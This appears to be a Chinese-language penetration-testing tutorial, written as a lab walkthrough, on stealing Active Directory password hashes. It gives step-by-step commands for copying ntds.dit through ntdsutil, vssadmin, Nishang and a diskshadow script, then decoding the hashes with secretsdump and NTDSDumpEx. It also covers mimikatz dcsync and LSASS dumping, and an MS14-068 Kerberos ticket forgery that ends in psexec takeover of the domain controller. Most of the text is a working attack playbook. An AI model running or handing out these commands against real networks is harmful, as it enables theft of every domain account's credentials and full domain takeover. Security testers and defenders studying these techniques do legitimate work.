利用ntds.dit读取域内哈希

提取ntds.dit

主要分为以下几种方式提取:

  1. 在域控上使用ntdsutil的IFM提取,支持win2k03、win2k08和win2k12;
  2. 在域控上使用vssadmin提取,支持win2k08和win7;
  3. 使用Nishang的Copy-VSS.ps提取,支持SAM、SYSTEM和ntds.dit文件的一起提取;
  4. 使用diskshadow提取,需要上传到目标机器才能使用,支持win2k08、win2012、win2k16;

Notice: 以下操作均是在powershell中进行,cmd下会失败;

使用ntdsutil提取

直接在域控机器上运行如下命令进行ntds.dit导出到C:\tmp下:

ntdsutil "ac i ntds" "ifm" "create full c:/tmp" q q

如下图所示:

ntdsutil创建卷影拷贝

使用vssadmin提取

在域控中,首先输入如下命令,创建C盘的卷影拷贝:

vssadmin create shadow /for=C:

如下图所示:

vssadmin创建C盘的卷影拷贝

然后在创建的卷影拷贝中将ntds.dit文件复制出来,输入如下命令:

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy6\windows\NTDS\ntds.dit C:\ntds.dit

如下图所示:

从卷影拷贝中复制ntds.dit文件

最后需要删除快照,输入如下命令:

vssadmin delete shadows /for=C: /quiet

使用Nishang提取

下载Copy-VSS.ps1脚本后,先将此ps1脚本上传到域控,然后执行如下命令:

import-module C:\Copy-VSS.ps1;Copy-VSS

如下所示:

Nishang提取ntds.dit文件

使用diskshadow提取

  • diskshadow是微软签名的,有交互式和非交互式两种模式,使用交互式需要登录RDP;
  • 可以通过使用exec来执行一个脚本文件来执行相关命令;
  • 在使用diskshadow导出ntds.dit文件时,必须将工作目录切换到C:\WIndows\system32\,否则会发生错误;

首先在域控中创建一个脚本文件cmd.txt,功能是创建ntds.dit的卷影拷贝,如下所示:

//可能需要去掉注释,防止执行脚本失败
//设置卷影拷贝
set context persistent nowriters
//添加卷
add volume c: alias someAlias
//创建快照
create
//分配虚拟磁盘盘符
expose %someAlias% k:
//将ntds.dit复制到C盘中
exec "cmd.exe" /c copy k:\Windows\NTDS\ntds.dit C:\target-ndts.dit
//删除所有快照
delete shadows all
//列出系统中的卷影拷贝
list shadows all
//重置
reset
//退出
exit

然后切换工作目录到C:\Windows\system32\下,并执行如下命令:

//同样,需要powershell执行
powershell diskshadow /s c:\cmd.txt

如下图所示:

diskshadow拷贝ntds.dit文件

发现成功导出ntds.dit到C:\target-ndts.dit,如下所示:

成功导出ntds.dit文件

读取ntds.dit

提取完毕ntds.dit后,就是读取解析它了,但是,单单导出ntds.dit文件是没用的,还需要转储system文件,因为此文件存放了ntds.dit的密钥,前面导出ntds.dit文件时,如果没有导出SYSTEM,那么可以输入如下命令转储:

reg save hklm\system C:\SYSTEM

这里主要采用两种方式读取ntds.dit文件,如下所示:

  1. impacket工具包进行读取;
  2. NTDSDumpex.exe进行读取;

impacket读取

安装好环境后,将ntds.dit和SYSTEM文件放在本地,输入如下命令进行读取:

python3 secretsdump.py -system E:\SYSTEM -ntds E:\ntds.dit LOCAL

结果如下所示:

impacket读取ntds文件

NTDSDumpex读取

下载地址为:NTDSDumpex下载,此工具速度很快,如果ntds.dit文件很大,建议内网使用此工具进行解析,使用此工具如果失败,需要先修复ntds.dit数据库:

esentutl.exe /p /o D:\ntds.dit

然后一把梭哈:

NTDSDumpEx.exe -d D:\ntds.dit -s D:\SYSTEM -o D:\hash.txt

结果如下所示:

NTDSDumpEx结果

利用dcsync读取域内哈希

  1. 使用mimikatz的dcsync功能,需要域管理员权限运行mimikatz才能读取域控ntds.dit;
  2. 使用Invoke-DCSync.ps1获取;

使用mimikatz的dcsync

在CS中,直接输入 dcsync pinger.testlab ,即可调用mimikatz的dcsync进行哈希导出,如下所示:

CS调用mimikatz的dcsync

也可以在域控中运行mimikatz,转储lsass.exe进程,从内存中读取哈希,输入如下命令:

mimikatz lsadump::lsa /inject

结果如下所示:

使用mimikatz从内存中读取哈希

MS14_068

此漏洞产生的原因是:用户在想Kerberos密钥分发中心(KDC)申请TGT(由票据授权服务产生的身份凭据)时,可以伪造自己的Kerberos票据。如果票据声明自己有域管权限,二KDC在处理票据时未进行签名验证,那么返回给用户的TGT就会使得普通域用户拥有域管权限,从而一举拿下域控;本实验中MS14-068.exe的下载地址为:ms14-068

  • 影响范围:win2k3、win2k8、win2k8R2、win2012、win2012R2;
  • 作用:将域内任意用户提升到域管权限;
  • 要求:需要域用户名、SID、密码(没有密码,也可以通过NTLM Hash登录);
  • 可以通过 wimic useraccount get name,sid,caption 命令域内用户的SID;

使用MS14-068的工具,在非域控主机上运行如下命令:

shell MS14-068.exe -u p1n93r@god.org -s S-1-5-21-2952760202-1353902439-2381784089-1111 -d 192.168.52.138 -p 123456789_CG

如下图所示:

MS14-068

再未导入这个票据之前,查看域控的C盘,发现提示没权限(注意:一定要使用计算机名,不能用IP):

查看域控

然后用mimikatz导入票据,如下所示:

mimikatz导入票据

再次查看域控的C盘,发现能成功查看:

查看域控

然后直接使用Psexec直接拿下域控,这里演示使用CS的操作,如下所示:

CS利用ms14-068拿下域控

CS利用ms14-068拿下域控